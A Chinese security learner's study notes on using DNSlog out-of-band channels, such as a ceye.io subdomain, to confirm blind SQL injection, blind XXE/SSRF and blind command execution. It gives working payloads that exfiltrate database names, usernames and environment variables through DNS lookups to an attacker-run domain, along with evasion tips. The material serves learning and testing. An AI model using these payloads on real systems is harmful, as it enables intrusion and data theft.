安全學習了大概快半年了,對於諸多漏洞的原理和基礎應用大概也基本了解了。
之前都是以‘點(每個漏洞怎樣?)’的方式在學習、記憶。現在感覺需要做一些總結:
今天又看到了DNSlog這個詞,記起了第一次接觸是在SQL盲注那一塊知識,后來在SSRF中測試無回顯情況中也遇到過,遂想做一下dnslog在諸多漏洞中的利用方式總結。
DNSlog原理:
原理就是:DNS協議有一個不懂就問的特點,向自己的上一級DNS服務器發問(請求解析),電腦在請求域名解析的時候會向DNS服務器請求,我們可以申請一個dns服務器如:ceye.io,因為電腦發出的請求域名如:payload.ceye.io是我們dns服務器的子域,所以它的解析請求就會被我們捕獲。
本質:依靠域名解析,把帶有payload解析后的域名向DNS服務器請求,從而獲取payload解析后的數據
利用點:只要是能夠發出域名解析請求的地方都可以用這種方式獲取數據。
可以利用DNSlog的漏洞:
- SQL盲注
- XXE(SSRF)(無回顯)
- 命令執行(無回顯)
- XSS(無回顯)
1、SQL盲注
//直接上payload演示 http://127.0.0.1/sqli_blind/ ?id=1' and if((select load_file(concat('\\\\',(select database()),'.YourDnsSite.ceye.io\\sql_test'))),1,0)--+ //需要注意 \\sql_test 這一塊可以隨便寫,意思就是請求這個服務器上的一個文件,但是不寫不行,具體原理不太了解,全靠實踐獲得吧
然后我們就可以在我們申請的dns服務器上查看到:庫名.YourDnsSite.ceye.io 這一條域名解析記錄
2、XXE(SSRF)(無回顯)
這里之所以寫XXE(SSRF),其實是實戰中碰到的一種情況,XXE一般有兩種,一種是有回顯的,一種是無回顯的,即大家常說的盲XXE,然后對於這種盲XXE,我們驗證漏洞就可以使用讓它去請求一個服務器域名,看他是不是執行了,而且這種XXE漏洞一般都是與SSRF相關的。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.YourDnsSite.ceye.io/xxe_test"> %remote;]> <root/> // http://ip.YourDnsSite.ceye.io/xxe_test部分拼湊一個域名,看看目標機器會不會去想dns服務器請求解析
3、命令執行(無回顯)
當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。
這里分兩種情況:Linux系統和Windows系統
Linux:
curl http://ip.port.domain.ceye.io/`whoami` //就會在dns服務器顯示 ip.port.root.ceye.io
ping `whoami`.ceye.io //就會在dns服務器顯示 ip.port.root.ceye.io
Windows:
ping %USERNAME%.domain.ceye.io //查詢該電腦中的環境變量
類似的這種環境變量還有:
變量 | 類型 | 描述 |
---|---|---|
%ALLUSERSPROFILE% | 本地 | 返回“所有用戶”配置文件的位置。 |
%APPDATA% | 本地 | 返回默認情況下應用程序存儲數據的位置。 |
%CD% | 本地 | 返回當前目錄字符串。 |
%CMDCMDLINE% | 本地 | 返回用來啟動當前的 Cmd.exe 的准確命令行。 |
%CMDEXTVERSION% | 系統 | 返回當前的“命令處理程序擴展”的版本號。 |
%COMPUTERNAME% | 系統 | 返回計算機的名稱。 |
%COMSPEC% | 系統 | 返回命令行解釋器可執行程序的准確路徑。 |
%DATE% | 系統 | 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。 |
%ERRORLEVEL% | 系統 | 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。 |
%HOMEDRIVE% | 系統 | 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 |
%HOMEPATH% | 系統 | 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 |
%HOMESHARE% | 系統 | 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 |
%LOGONSERVER% | 本地 | 返回驗證當前登錄會話的域控制器的名稱。 |
%NUMBER_OF_PROCESSORS% | 系統 | 指定安裝在計算機上的處理器的數目。 |
%OS% | 系統 | 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。 |
%PATH% | 系統 | 指定可執行文件的搜索路徑。 |
%PATHEXT% | 系統 | 返回操作系統認為可執行的文件擴展名的列表。 |
%PROCESSOR_ARCHITECTURE% | 系統 | 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。 |
%PROCESSOR_IDENTFIER% | 系統 | 返回處理器說明。 |
%PROCESSOR_LEVEL% | 系統 | 返回計算機上安裝的處理器的型號。 |
%PROCESSOR_REVISION% | 系統 | 返回處理器的版本號。 |
%PROMPT% | 本地 | 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 |
%RANDOM% | 系統 | 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 |
%SYSTEMDRIVE% | 系統 | 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。 |
%SYSTEMROOT% | 系統 | 返回 Windows server operating system 根目錄的位置。 |
%TEMP%和%TMP% | 系統和用戶 | 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。 |
%TIME% | 系統 | 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。 |
%USERDOMAIN% | 本地 | 返回包含用戶帳戶的域的名稱。 |
%USERNAME% | 本地 | 返回當前登錄的用戶的名稱。 |
%USERPROFILE% | 本地 | 返回當前用戶的配置文件的位置。 |
%WINDIR% | 系統 | 返回操作系統目錄的位置。 |
4、XSS(無回顯)
XSS繞過CSP 參閱freebuf此文
注意:
1、命令執行時要避免空格,空格會導致空格后面的命令執行不到;
2、將讀取的文件命令用``包含起來;
3、拼接的域名有長度限制。(可能需要使用函數分塊截取)